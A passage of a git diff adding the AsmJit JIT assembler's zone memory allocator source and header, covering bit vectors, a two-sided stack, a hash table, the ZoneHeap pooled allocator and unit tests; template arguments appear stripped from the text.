(ASMJIT_UNLIKELY(minimumCapacityInBits < newLength)) + return DebugUtils::errored(kErrorNoHeapMemory); + + // Normalize to bytes. + size_t minimumCapacity = minimumCapacityInBits / 8; + BitWord* newData = static_cast(heap->alloc(minimumCapacity, allocatedCapacity)); + + if (ASMJIT_UNLIKELY(!newData)) + return DebugUtils::errored(kErrorNoHeapMemory); + + // `allocatedCapacity` now contains number in bytes, we need bits. + size_t allocatedCapacityInBits = allocatedCapacity * 8; + + // Arithmetic overflow should normally not happen. If it happens we just + // change the `allocatedCapacityInBits` to the `minimumCapacityInBits` as + // this value is still safe to be used to call `_heap->release(...)`. + if (ASMJIT_UNLIKELY(allocatedCapacityInBits < allocatedCapacity)) + allocatedCapacityInBits = minimumCapacityInBits; + + if (oldLength) + ::memcpy(newData, data, _wordsPerBits(oldLength)); + + if (data) + heap->release(data, _capacity / 8); + data = newData; + + _data = data; + _capacity = allocatedCapacityInBits; + } + + // Start (of the old length) and end (of the new length) bits + size_t idx = oldLength / kBitsPerWord; + size_t startBit = oldLength % kBitsPerWord; + size_t endBit = newLength % kBitsPerWord; + + // Set new bits to either 0 or 1. The `pattern` is used to set multiple + // bits per bit-word and contains either all zeros or all ones. + BitWord pattern = _patternFromBit(newBitsValue); + + // First initialize the last bit-word of the old length. + if (startBit) { + size_t nBits = 0; + + if (idx == (newLength / kBitsPerWord)) { + // The number of bit-words is the same after the resize. In that case + // we need to set only bits necessary in the current last bit-word. + ASMJIT_ASSERT(startBit < endBit); + nBits = endBit - startBit; + } + else { + // There is be more bit-words after the resize. In that case we don't + // have to be extra careful about the last bit-word of the old length. + nBits = kBitsPerWord - startBit; + } + + data[idx++] |= pattern << nBits; + } + + // Initialize all bit-words after the last bit-word of the old length. + size_t endIdx = _wordsPerBits(newLength); + endIdx -= static_cast(endIdx * kBitsPerWord == newLength); + + while (idx <= endIdx) + data[idx++] = pattern; + + // Clear unused bits of the last bit-word. + if (endBit) + data[endIdx] &= (static_cast(1) << endBit) - 1; + + _length = newLength; + return kErrorOk; +} + +Error ZoneBitVector::_append(ZoneHeap* heap, bool value) noexcept { + size_t kThreshold = Globals::kAllocThreshold * 8; + size_t newLength = _length + 1; + size_t idealCapacity = _capacity; + + if (idealCapacity < 128) + idealCapacity = 128; + else if (idealCapacity <= kThreshold) + idealCapacity *= 2; + else + idealCapacity += kThreshold; + + if (ASMJIT_UNLIKELY(idealCapacity < _capacity)) { + // It's technically impossible that `_length + 1` overflows. + idealCapacity = newLength; + ASMJIT_ASSERT(idealCapacity > _capacity); + } + + return _resize(heap, newLength, idealCapacity, value); +} + +Error ZoneBitVector::fill(size_t from, size_t to, bool value) noexcept { + if (ASMJIT_UNLIKELY(from >= to)) { + if (from > to) + return DebugUtils::errored(kErrorInvalidArgument); + else + return kErrorOk; + } + + ASMJIT_ASSERT(from <= _length); + ASMJIT_ASSERT(to <= _length); + + // This is very similar to `ZoneBitVector::_fill()`, however, since we + // actually set bits that are already part of the container we need to + // special case filiing to zeros and ones. + size_t idx = from / kBitsPerWord; + size_t startBit = from % kBitsPerWord; + + size_t endIdx = to / kBitsPerWord; + size_t endBit = to % kBitsPerWord; + + BitWord* data = _data; + ASMJIT_ASSERT(data != nullptr); + + // Special case for non-zero `startBit`. + if (startBit) { + if (idx == endIdx) { + ASMJIT_ASSERT(startBit < endBit); + + size_t nBits = endBit - startBit; + BitWord mask = ((static_cast(1) << nBits) - 1) << startBit; + + if (value) + data[idx] |= mask; + else + data[idx] &= ~mask; + return kErrorOk; + } + else { + BitWord mask = (static_cast(0) - 1) << startBit; + + if (value) + data[idx++] |= mask; + else + data[idx++] &= ~mask; + } + } + + // Fill all bits in case there is a gap between the current `idx` and `endIdx`. + if (idx < endIdx) { + BitWord pattern = _patternFromBit(value); + do { + data[idx++] = pattern; + } while (idx < endIdx); + } + + // Special case for non-zero `endBit`. + if (endBit) { + BitWord mask = ((static_cast(1) << endBit) - 1); + if (value) + data[endIdx] |= mask; + else + data[endIdx] &= ~mask; + } + + return kErrorOk; +} + +// ============================================================================ +// [asmjit::ZoneStackBase - Init / Reset] +// ============================================================================ + +Error ZoneStackBase::_init(ZoneHeap* heap, size_t middleIndex) noexcept { + ZoneHeap* oldHeap = _heap; + + if (oldHeap) { + Block* block = _block[kSideLeft]; + while (block) { + Block* next = block->getNext(); + oldHeap->release(block, kBlockSize); + block = next; + } + + _heap = nullptr; + _block[kSideLeft] = nullptr; + _block[kSideRight] = nullptr; + } + + + if (heap) { + Block* block = static_cast(heap->alloc(kBlockSize)); + if (ASMJIT_UNLIKELY(!block)) + return DebugUtils::errored(kErrorNoHeapMemory); + + block->_link[kSideLeft] = nullptr; + block->_link[kSideRight] = nullptr; + block->_start = (uint8_t*)block + middleIndex; + block->_end = (uint8_t*)block + middleIndex; + + _heap = heap; + _block[kSideLeft] = block; + _block[kSideRight] = block; + } + + return kErrorOk; +} + +// ============================================================================ +// [asmjit::ZoneStackBase - Ops] +// ============================================================================ + +Error ZoneStackBase::_prepareBlock(uint32_t side, size_t initialIndex) noexcept { + ASMJIT_ASSERT(isInitialized()); + + Block* prev = _block[side]; + ASMJIT_ASSERT(!prev->isEmpty()); + + Block* block = _heap->allocT(kBlockSize); + if (ASMJIT_UNLIKELY(!block)) + return DebugUtils::errored(kErrorNoHeapMemory); + + block->_link[ side] = nullptr; + block->_link[!side] = prev; + block->_start = (uint8_t*)block + initialIndex; + block->_end = (uint8_t*)block + initialIndex; + + prev->_link[side] = block; + _block[side] = block; + + return kErrorOk; +} + +void ZoneStackBase::_cleanupBlock(uint32_t side, size_t middleIndex) noexcept { + Block* block = _block[side]; + ASMJIT_ASSERT(block->isEmpty()); + + Block* prev = block->_link[!side]; + if (prev) { + ASMJIT_ASSERT(prev->_link[side] == block); + _heap->release(block, kBlockSize); + + prev->_link[side] = nullptr; + _block[side] = prev; + } + else if (_block[!side] == prev && prev->isEmpty()) { + // If the container becomes empty center both pointers in the remaining block. + prev->_start = (uint8_t*)prev + middleIndex; + prev->_end = (uint8_t*)prev + middleIndex; + } +} + +// ============================================================================ +// [asmjit::ZoneHashBase - Utilities] +// ============================================================================ + +static uint32_t ZoneHash_getClosestPrime(uint32_t x) noexcept { + static const uint32_t primeTable[] = { + 23, 53, 193, 389, 769, 1543, 3079, 6151, 12289, 24593 + }; + + size_t i = 0; + uint32_t p; + + do { + if ((p = primeTable[i]) > x) + break; + } while (++i < ASMJIT_ARRAY_SIZE(primeTable)); + + return p; +} + +// ============================================================================ +// [asmjit::ZoneHashBase - Reset] +// ============================================================================ + +void ZoneHashBase::reset(ZoneHeap* heap) noexcept { + ZoneHashNode** oldData = _data; + if (oldData != _embedded) + _heap->release(oldData, _bucketsCount * sizeof(ZoneHashNode*)); + + _heap = heap; + _size = 0; + _bucketsCount = 1; + _bucketsGrow = 1; + _data = _embedded; + _embedded[0] = nullptr; +} + +// ============================================================================ +// [asmjit::ZoneHashBase - Rehash] +// ============================================================================ + +void ZoneHashBase::_rehash(uint32_t newCount) noexcept { + ASMJIT_ASSERT(isInitialized()); + + ZoneHashNode** oldData = _data; + ZoneHashNode** newData = reinterpret_cast( + _heap->allocZeroed(static_cast(newCount) * sizeof(ZoneHashNode*))); + + // We can still store nodes into the table, but it will degrade. + if (ASMJIT_UNLIKELY(newData == nullptr)) + return; + + uint32_t i; + uint32_t oldCount = _bucketsCount; + + for (i = 0; i < oldCount; i++) { + ZoneHashNode* node = oldData[i]; + while (node) { + ZoneHashNode* next = node->_hashNext; + uint32_t hMod = node->_hVal % newCount; + + node->_hashNext = newData[hMod]; + newData[hMod] = node; + + node = next; + } + } + + // 90% is the maximum occupancy, can't overflow since the maximum capacity + // is limited to the last prime number stored in the prime table. + if (oldData != _embedded) + _heap->release(oldData, _bucketsCount * sizeof(ZoneHashNode*)); + + _bucketsCount = newCount; + _bucketsGrow = newCount * 9 / 10; + + _data = newData; +} + +// ============================================================================ +// [asmjit::ZoneHashBase - Ops] +// ============================================================================ + +ZoneHashNode* ZoneHashBase::_put(ZoneHashNode* node) noexcept { + uint32_t hMod = node->_hVal % _bucketsCount; + ZoneHashNode* next = _data[hMod]; + + node->_hashNext = next; + _data[hMod] = node; + + if (++_size >= _bucketsGrow && next) { + uint32_t newCapacity = ZoneHash_getClosestPrime(_bucketsCount); + if (newCapacity != _bucketsCount) + _rehash(newCapacity); + } + + return node; +} + +ZoneHashNode* ZoneHashBase::_del(ZoneHashNode* node) noexcept { + uint32_t hMod = node->_hVal % _bucketsCount; + + ZoneHashNode** pPrev = &_data[hMod]; + ZoneHashNode* p = *pPrev; + + while (p) { + if (p == node) { + *pPrev = p->_hashNext; + return node; + } + + pPrev = &p->_hashNext; + p = *pPrev; + } + + return nullptr; +} + +// ============================================================================ +// [asmjit::Zone - Test] +// ============================================================================ + +#if defined(ASMJIT_TEST) +UNIT(base_zonevector) { + Zone zone(8096 - Zone::kZoneOverhead); + ZoneHeap heap(&zone); + + int i; + int kMax = 100000; + + ZoneVector vec; + + INFO("ZoneVector basic tests"); + EXPECT(vec.append(&heap, 0) == kErrorOk); + EXPECT(vec.isEmpty() == false); + EXPECT(vec.getLength() == 1); + EXPECT(vec.getCapacity() >= 1); + EXPECT(vec.indexOf(0) == 0); + EXPECT(vec.indexOf(-11) == Globals::kInvalidIndex); + + vec.clear(); + EXPECT(vec.isEmpty()); + EXPECT(vec.getLength() == 0); + EXPECT(vec.indexOf(0) == Globals::kInvalidIndex); + + for (i = 0; i < kMax; i++) { + EXPECT(vec.append(&heap, i) == kErrorOk); + } + EXPECT(vec.isEmpty() == false); + EXPECT(vec.getLength() == static_cast(kMax)); + EXPECT(vec.indexOf(kMax - 1) == static_cast(kMax - 1)); +} + +UNIT(base_ZoneBitVector) { + Zone zone(8096 - Zone::kZoneOverhead); + ZoneHeap heap(&zone); + + size_t i, count; + size_t kMaxCount = 100; + + ZoneBitVector vec; + EXPECT(vec.isEmpty()); + EXPECT(vec.getLength() == 0); + + INFO("ZoneBitVector::resize()"); + for (count = 1; count < kMaxCount; count++) { + vec.clear(); + EXPECT(vec.resize(&heap, count, false) == kErrorOk); + EXPECT(vec.getLength() == count); + + for (i = 0; i < count; i++) + EXPECT(vec.getAt(i) == false); + + vec.clear(); + EXPECT(vec.resize(&heap, count, true) == kErrorOk); + EXPECT(vec.getLength() == count); + + for (i = 0; i < count; i++) + EXPECT(vec.getAt(i) == true); + } + + INFO("ZoneBitVector::fill()"); + for (count = 1; count < kMaxCount; count += 2) { + vec.clear(); + EXPECT(vec.resize(&heap, count) == kErrorOk); + EXPECT(vec.getLength() == count); + + for (i = 0; i < (count + 1) / 2; i++) { + bool value = static_cast(i & 1); + EXPECT(vec.fill(i, count - i, value) == kErrorOk); + } + + for (i = 0; i < count; i++) { + EXPECT(vec.getAt(i) == static_cast(i & 1)); + } + } +} + +UNIT(base_zonestack) { + Zone zone(8096 - Zone::kZoneOverhead); + ZoneHeap heap(&zone); + ZoneStack stack; + + INFO("ZoneStack contains %d elements per one Block", ZoneStack::kNumBlockItems); + + EXPECT(stack.init(&heap) == kErrorOk); + EXPECT(stack.isEmpty(), "Stack must be empty after `init()`"); + + EXPECT(stack.append(42) == kErrorOk); + EXPECT(!stack.isEmpty() , "Stack must not be empty after an item has been appended"); + EXPECT(stack.pop() == 42, "Stack.pop() must return the item that has been appended last"); + EXPECT(stack.isEmpty() , "Stack must be empty after the last element has been removed"); + + EXPECT(stack.prepend(43) == kErrorOk); + EXPECT(!stack.isEmpty() , "Stack must not be empty after an item has been prepended"); + EXPECT(stack.popFirst() == 43, "Stack.popFirst() must return the item that has been prepended last"); + EXPECT(stack.isEmpty() , "Stack must be empty after the last element has been removed"); + + int i; + int iMin =-100; + int iMax = 100000; + + INFO("Adding items from %d to %d to the stack", iMin, iMax); + for (i = 1; i <= iMax; i++) stack.append(i); + for (i = 0; i >= iMin; i--) stack.prepend(i); + + INFO("Validating popFirst()"); + for (i = iMin; i <= iMax; i++) { + int item = stack.popFirst(); + EXPECT(i == item, "Item '%d' didn't match the item '%d' popped", i, item); + } + EXPECT(stack.isEmpty()); + + INFO("Adding items from %d to %d to the stack", iMin, iMax); + for (i = 0; i >= iMin; i--) stack.prepend(i); + for (i = 1; i <= iMax; i++) stack.append(i); + + INFO("Validating pop()"); + for (i = iMax; i >= iMin; i--) { + int item = stack.pop(); + EXPECT(i == item, "Item '%d' didn't match the item '%d' popped", i, item); + } + EXPECT(stack.isEmpty()); +} +#endif // ASMJIT_TEST + +} // asmjit namespace + +// [Api-End] +#include "../asmjit_apiend.h" diff --git a/asmjit/src/asmjit/base/zone.h b/asmjit/src/asmjit/base/zone.h new file mode 100644 index 0000000..5a461a2 --- /dev/null +++ b/asmjit/src/asmjit/base/zone.h @@ -0,0 +1,1329 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Guard] +#ifndef _ASMJIT_BASE_ZONE_H +#define _ASMJIT_BASE_ZONE_H + +// [Dependencies] +#include "../base/utils.h" + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +namespace asmjit { + +//! \addtogroup asmjit_base +//! \{ + +// ============================================================================ +// [asmjit::Zone] +// ============================================================================ + +//! Memory zone. +//! +//! Zone is an incremental memory allocator that allocates memory by simply +//! incrementing a pointer. It allocates blocks of memory by using standard +//! C `malloc`, but divides these blocks into smaller segments requested by +//! calling `Zone::alloc()` and friends. +//! +//! Zone has no function to release the allocated memory. It has to be released +//! all at once by calling `reset()`. If you need a more friendly allocator that +//! also supports `release()`, consider using \ref Zone with \ref ZoneHeap. +class Zone { +public: + //! \internal + //! + //! A single block of memory. + struct Block { + Block* prev; //!< Link to the previous block. + Block* next; //!< Link to the next block. + size_t size; //!< Size of the block. + uint8_t data[sizeof(void*)]; //!< Data. + }; + + enum { + //! Zone allocator overhead. + kZoneOverhead = Globals::kAllocOverhead + static_cast(sizeof(Block)) + }; + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + //! Create a new instance of `Zone` allocator. + //! + //! The `blockSize` parameter describes the default size of the block. If the + //! `size` parameter passed to `alloc()` is greater than the default size + //! `Zone` will allocate and use a larger block, but it will not change the + //! default `blockSize`. + //! + //! It's not required, but it's good practice to set `blockSize` to a + //! reasonable value that depends on the usage of `Zone`. Greater block sizes + //! are generally safer and perform better than unreasonably low values. + ASMJIT_API Zone(uint32_t blockSize, uint32_t blockAlignment = 0) noexcept; + + //! Destroy the `Zone` instance. + //! + //! This will destroy the `Zone` instance and release all blocks of memory + //! allocated by it. It performs implicit `reset(true)`. + ASMJIT_API ~Zone() noexcept; + + // -------------------------------------------------------------------------- + // [Reset] + // -------------------------------------------------------------------------- + + //! Reset the `Zone` invalidating all blocks allocated. + //! + //! If `releaseMemory` is true all buffers will be released to the system. + ASMJIT_API void reset(bool releaseMemory = false) noexcept; + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + //! Get the default block size. + ASMJIT_INLINE uint32_t getBlockSize() const noexcept { return _blockSize; } + //! Get the default block alignment. + ASMJIT_INLINE uint32_t getBlockAlignment() const noexcept { return (uint32_t)1 << _blockAlignmentShift; } + //! Get remaining size of the current block. + ASMJIT_INLINE size_t getRemainingSize() const noexcept { return (size_t)(_end - _ptr); } + + //! Get the current zone cursor (dangerous). + //! + //! This is a function that can be used to get exclusive access to the current + //! block's memory buffer. + ASMJIT_INLINE uint8_t* getCursor() noexcept { return _ptr; } + //! Get the end of the current zone block, only useful if you use `getCursor()`. + ASMJIT_INLINE uint8_t* getEnd() noexcept { return _end; } + + //! Set the current zone cursor to `p` (must match the current block). + //! + //! This is a counterpart of `getZoneCursor()`. + ASMJIT_INLINE void setCursor(uint8_t* p) noexcept { + ASMJIT_ASSERT(p >= _ptr && p <= _end); + _ptr = p; + } + + // -------------------------------------------------------------------------- + // [Alloc] + // -------------------------------------------------------------------------- + + //! Allocate `size` bytes of memory. + //! + //! Pointer returned is valid until the `Zone` instance is destroyed or reset + //! by calling `reset()`. If you plan to make an instance of C++ from the + //! given pointer use placement `new` and `delete` operators: + //! + //! ~~~ + //! using namespace asmjit; + //! + //! class Object { ... }; + //! + //! // Create Zone with default block size of approximately 65536 bytes. + //! Zone zone(65536 - Zone::kZoneOverhead); + //! + //! // Create your objects using zone object allocating, for example: + //! Object* obj = static_cast( zone.alloc(sizeof(Object)) ); + // + //! if (!obj) { + //! // Handle out of memory error. + //! } + //! + //! // Placement `new` and `delete` operators can be used to instantiate it. + //! new(obj) Object(); + //! + //! // ... lifetime of your objects ... + //! + //! // To destroy the instance (if required). + //! obj->~Object(); + //! + //! // Reset or destroy `Zone`. + //! zone.reset(); + //! ~~~ + ASMJIT_INLINE void* alloc(size_t size) noexcept { + uint8_t* ptr = _ptr; + size_t remainingBytes = (size_t)(_end - ptr); + + if (ASMJIT_UNLIKELY(remainingBytes < size)) + return _alloc(size); + + _ptr += size; + ASMJIT_ASSERT(_ptr <= _end); + + return static_cast(ptr); + } + + //! Allocate `size` bytes without any checks. + //! + //! Can only be called if `getRemainingSize()` returns size at least equal + //! to `size`. + ASMJIT_INLINE void* allocNoCheck(size_t size) noexcept { + ASMJIT_ASSERT((size_t)(_end - _ptr) >= size); + + uint8_t* ptr = _ptr; + _ptr += size; + return static_cast(ptr); + } + + //! Allocate `size` bytes of zeroed memory. + //! + //! See \ref alloc() for more details. + ASMJIT_API void* allocZeroed(size_t size) noexcept; + + //! Like `alloc()`, but the return pointer is casted to `T*`. + template + ASMJIT_INLINE T* allocT(size_t size = sizeof(T)) noexcept { + return static_cast(alloc(size)); + } + + //! Like `allocNoCheck()`, but the return pointer is casted to `T*`. + template + ASMJIT_INLINE T* allocNoCheckT(size_t size = sizeof(T)) noexcept { + return static_cast(allocNoCheck(size)); + } + + //! Like `allocZeroed()`, but the return pointer is casted to `T*`. + template + ASMJIT_INLINE T* allocZeroedT(size_t size = sizeof(T)) noexcept { + return static_cast(allocZeroed(size)); + } + + //! Like `new(std::nothrow) T(...)`, but allocated by `Zone`. + template + ASMJIT_INLINE T* newT() noexcept { + void* p = alloc(sizeof(T)); + if (ASMJIT_UNLIKELY(!p)) + return nullptr; + return new(p) T(); + } + //! Like `new(std::nothrow) T(...)`, but allocated by `Zone`. + template + ASMJIT_INLINE T* newT(P1 p1) noexcept { + void* p = alloc(sizeof(T)); + if (ASMJIT_UNLIKELY(!p)) + return nullptr; + return new(p) T(p1); + } + + //! \internal + ASMJIT_API void* _alloc(size_t size) noexcept; + + //! Helper to duplicate data. + ASMJIT_API void* dup(const void* data, size_t size, bool nullTerminate = false) noexcept; + + //! Helper to duplicate formatted string, maximum length is 256 bytes. + ASMJIT_API char* sformat(const char* str, ...) noexcept; + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + uint8_t* _ptr; //!< Pointer in the current block's buffer. + uint8_t* _end; //!< End of the current block's buffer. + Block* _block; //!< Current block. + +#if ASMJIT_ARCH_64BIT + uint32_t _blockSize; //!< Default size of a newly allocated block. + uint32_t _blockAlignmentShift; //!< Minimum alignment of each block. +#else + uint32_t _blockSize : 29; //!< Default size of a newly allocated block. + uint32_t _blockAlignmentShift : 3; //!< Minimum alignment of each block. +#endif +}; + +// ============================================================================ +// [asmjit::ZoneHeap] +// ============================================================================ + +//! Zone-based memory allocator that uses an existing \ref Zone and provides +//! a `release()` functionality on top of it. It uses \ref Zone only for chunks +//! that can be pooled, and uses libc `malloc()` for chunks that are large. +//! +//! The advantage of ZoneHeap is that it can allocate small chunks of memory +//! really fast, and these chunks, when released, will be reused by consecutive +//! calls to `alloc()`. Also, since ZoneHeap uses \ref Zone, you can turn any +//! \ref Zone into a \ref ZoneHeap, and use it in your \ref Pass when necessary. +//! +//! ZoneHeap is used by AsmJit containers to make containers having only +//! few elements fast (and lightweight) and to allow them to grow and use +//! dynamic blocks when require more storage. +class ZoneHeap { + ASMJIT_NONCOPYABLE(ZoneHeap) + + enum { + // In short, we pool chunks of these sizes: + // [32, 64, 96, 128, 192, 256, 320, 384, 448, 512] + + //! How many bytes per a low granularity pool (has to be at least 16). + kLoGranularity = 32, + //! Number of slots of a low granularity pool. + kLoCount = 4, + //! Maximum size of a block that can be allocated in a low granularity pool. + kLoMaxSize = kLoGranularity * kLoCount, + + //! How many bytes per a high granularity pool. + kHiGranularity = 64, + //! Number of slots of a high granularity pool. + kHiCount = 6, + //! Maximum size of a block that can be allocated in a high granularity pool. + kHiMaxSize = kLoMaxSize + kHiGranularity * kHiCount, + + //! Alignment of every pointer returned by `alloc()`. + kBlockAlignment = kLoGranularity + }; + + //! Single-linked list used to store unused chunks. + struct Slot { + //! Link to a next slot in a single-linked list. + Slot* next; + }; + + //! A block of memory that has been allocated dynamically and is not part of + //! block-list used by the allocator. This is used to keep track of all these + //! blocks so they can be freed by `reset()` if not freed explicitly. + struct DynamicBlock { + DynamicBlock* prev; + DynamicBlock* next; + }; + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + //! Create a new `ZoneHeap`. + //! + //! NOTE: To use it, you must first `init()` it. + ASMJIT_INLINE ZoneHeap() noexcept { + ::memset(this, 0, sizeof(*this)); + } + //! Create a new `ZoneHeap` initialized to use `zone`. + explicit ASMJIT_INLINE ZoneHeap(Zone* zone) noexcept { + ::memset(this, 0, sizeof(*this)); + _zone = zone; + } + //! Destroy the `ZoneHeap`. + ASMJIT_INLINE ~ZoneHeap() noexcept { reset(); } + + // -------------------------------------------------------------------------- + // [Init / Reset] + // -------------------------------------------------------------------------- + + //! Get if the `ZoneHeap` is initialized (i.e. has `Zone`). + ASMJIT_INLINE bool isInitialized() const noexcept { return _zone != nullptr; } + + //! Convenience method to initialize the `ZoneHeap` with `zone`. + //! + //! It's the same as calling `reset(zone)`. + ASMJIT_INLINE void init(Zone* zone) noexcept { reset(zone); } + + //! Reset this `ZoneHeap` and also forget about the current `Zone` which + //! is attached (if any). Reset optionally attaches a new `zone` passed, or + //! keeps the `ZoneHeap` in an uninitialized state, if `zone` is null. + ASMJIT_API void reset(Zone* zone = nullptr) noexcept; + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + //! Get the `Zone` the `ZoneHeap` is using, or null if it's not initialized. + ASMJIT_INLINE Zone* getZone() const noexcept { return _zone; } + + // -------------------------------------------------------------------------- + // [Utilities] + // -------------------------------------------------------------------------- + + //! \internal + //! + //! Get the slot index to be used for `size`. Returns `true` if a valid slot + //! has been written to `slot` and `allocatedSize` has been filled with slot + //! exact size (`allocatedSize` can be equal or slightly greater than `size`). + static ASMJIT_INLINE bool _getSlotIndex(size_t size, uint32_t& slot) noexcept { + ASMJIT_ASSERT(size > 0); + if (size > kHiMaxSize) + return false; + + if (size <= kLoMaxSize) + slot = static_cast((size - 1) / kLoGranularity); + else + slot = static_cast((size - kLoMaxSize - 1) / kHiGranularity) + kLoCount; + + return true; + } + + //! \overload + static ASMJIT_INLINE bool _getSlotIndex(size_t size, uint32_t& slot, size_t& allocatedSize) noexcept { + ASMJIT_ASSERT(size > 0); + if (size > kHiMaxSize) + return false; + + if (size <= kLoMaxSize) { + slot = static_cast((size - 1) / kLoGranularity); + allocatedSize = Utils::alignTo(size, kLoGranularity); + } + else { + slot = static_cast((size - kLoMaxSize - 1) / kHiGranularity) + kLoCount; + allocatedSize = Utils::alignTo(size, kHiGranularity); + } + + return true; + } + + // -------------------------------------------------------------------------- + // [Alloc / Release] + // -------------------------------------------------------------------------- + + ASMJIT_API void* _alloc(size_t size, size_t& allocatedSize) noexcept; + ASMJIT_API void* _allocZeroed(size_t size, size_t& allocatedSize) noexcept; + ASMJIT_API void _releaseDynamic(void* p, size_t size) noexcept; + + //! Allocate `size` bytes of memory, ideally from an available pool. + //! + //! NOTE: `size` can't be zero, it will assert in debug mode in such case. + ASMJIT_INLINE void* alloc(size_t size) noexcept { + ASMJIT_ASSERT(isInitialized()); + size_t allocatedSize; + return _alloc(size, allocatedSize); + } + + //! Like `alloc(size)`, but provides a second argument `allocatedSize` that + //! provides a way to know how big the block returned actually is. This is + //! useful for containers to prevent growing too early. + ASMJIT_INLINE void* alloc(size_t size, size_t& allocatedSize) noexcept { + ASMJIT_ASSERT(isInitialized()); + return _alloc(size, allocatedSize); + } + + //! Like `alloc()`, but the return pointer is casted to `T*`. + template + ASMJIT_INLINE T* allocT(size_t size = sizeof(T)) noexcept { + return static_cast(alloc(size)); + } + + //! Like `alloc(size)`, but returns zeroed memory. + ASMJIT_INLINE void* allocZeroed(size_t size) noexcept { + ASMJIT_ASSERT(isInitialized()); + + size_t allocatedSize; + return _allocZeroed(size, allocatedSize); + } + + //! Like `alloc(size, allocatedSize)`, but returns zeroed memory. + ASMJIT_INLINE void* allocZeroed(size_t size, size_t& allocatedSize) noexcept { + ASMJIT_ASSERT(isInitialized()); + + return _allocZeroed(size, allocatedSize); + } + + //! Like `allocZeroed()`, but the return pointer is casted to `T*`. + template + ASMJIT_INLINE T* allocZeroedT(size_t size = sizeof(T)) noexcept { + return static_cast(allocZeroed(size)); + } + + //! Release the memory previously allocated by `alloc()`. The `size` argument + //! has to be the same as used to call `alloc()` or `allocatedSize` returned + //! by `alloc()`. + ASMJIT_INLINE void release(void* p, size_t size) noexcept { + ASMJIT_ASSERT(isInitialized()); + + ASMJIT_ASSERT(p != nullptr); + ASMJIT_ASSERT(size != 0); + + uint32_t slot; + if (_getSlotIndex(size, slot)) { + //printf("RELEASING %p of size %d (SLOT %u)\n", p, int(size), slot); + static_cast(p)->next = static_cast(_slots[slot]); + _slots[slot] = static_cast(p); + } + else { + _releaseDynamic(p, size); + } + } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + Zone* _zone; //!< Zone used to allocate memory that fits into slots. + Slot* _slots[kLoCount + kHiCount]; //!< Indexed slots containing released memory. + DynamicBlock* _dynamicBlocks; //!< Dynamic blocks for larger allocations (no slots). +}; + +// ============================================================================ +// [asmjit::ZoneList] +// ============================================================================ + +//! \internal +template +class ZoneList { +public: + ASMJIT_NONCOPYABLE(ZoneList) + + // -------------------------------------------------------------------------- + // [Link] + // -------------------------------------------------------------------------- + + //! ZoneList node. + struct Link { + //! Get next node. + ASMJIT_INLINE Link* getNext() const noexcept { return _next; } + //! Get value. + ASMJIT_INLINE T getValue() const noexcept { return _value; } + //! Set value to `value`. + ASMJIT_INLINE void setValue(const T& value) noexcept { _value = value; } + + Link* _next; + T _value; + }; + + // -------------------------------------------------------------------------- + // [Appender] + // -------------------------------------------------------------------------- + + //! Specialized appender that takes advantage of ZoneList structure. You must + //! initialize it and then call done(). + struct Appender { + ASMJIT_INLINE Appender(ZoneList& list) noexcept { init(list); } + + ASMJIT_INLINE void init(ZoneList& list) noexcept { + pPrev = &list._first; + } + + ASMJIT_INLINE void done(ZoneList& list) noexcept { + list._last = *pPrev; + *pPrev = nullptr; + } + + ASMJIT_INLINE void append(Link* node) noexcept { + *pPrev = node; + pPrev = &node->_next; + } + + Link** pPrev; + }; + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE ZoneList() noexcept : _first(nullptr), _last(nullptr) {} + ASMJIT_INLINE ~ZoneList() noexcept {} + + // -------------------------------------------------------------------------- + // [Data] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE bool isEmpty() const noexcept { return _first != nullptr; } + ASMJIT_INLINE Link* getFirst() const noexcept { return _first; } + ASMJIT_INLINE Link* getLast() const noexcept { return _last; } + + // -------------------------------------------------------------------------- + // [Ops] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE void reset() noexcept { + _first = nullptr; + _last = nullptr; + } + + ASMJIT_INLINE void prepend(Link* link) noexcept { + link->_next = _first; + if (!_first) _last = link; + _first = link; + } + + ASMJIT_INLINE void append(Link* link) noexcept { + link->_next = nullptr; + if (!_first) + _first = link; + else + _last->_next = link; + _last = link; + } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + Link* _first; + Link* _last; +}; + +// ============================================================================ +// [asmjit::ZoneVectorBase] +// ============================================================================ + +//! \internal +class ZoneVectorBase { +public: + ASMJIT_NONCOPYABLE(ZoneVectorBase) + +protected: + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + //! Create a new instance of `ZoneVectorBase`. + explicit ASMJIT_INLINE ZoneVectorBase() noexcept + : _data(nullptr), + _length(0), + _capacity(0) {} + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + +public: + //! Get if the vector is empty. + ASMJIT_INLINE bool isEmpty() const noexcept { return _length == 0; } + //! Get vector length. + ASMJIT_INLINE size_t getLength() const noexcept { return _length; } + //! Get vector capacity. + ASMJIT_INLINE size_t getCapacity() const noexcept { return _capacity; } + + // -------------------------------------------------------------------------- + // [Ops] + // -------------------------------------------------------------------------- + + //! Makes the vector empty (won't change the capacity or data pointer). + ASMJIT_INLINE void clear() noexcept { _length = 0; } + //! Reset the vector data and set its `length` to zero. + ASMJIT_INLINE void reset() noexcept { + _data = nullptr; + _length = 0; + _capacity = 0; + } + + //! Truncate the vector to at most `n` items. + ASMJIT_INLINE void truncate(size_t n) noexcept { + _length = std::min(_length, n); + } + + // -------------------------------------------------------------------------- + // [Memory Management] + // -------------------------------------------------------------------------- + +protected: + ASMJIT_INLINE void _release(ZoneHeap* heap, size_t sizeOfT) noexcept { + if (_data != nullptr) { + heap->release(_data, _capacity * sizeOfT); + reset(); + } + } + + ASMJIT_API Error _grow(ZoneHeap* heap, size_t sizeOfT, size_t n) noexcept; + ASMJIT_API Error _resize(ZoneHeap* heap, size_t 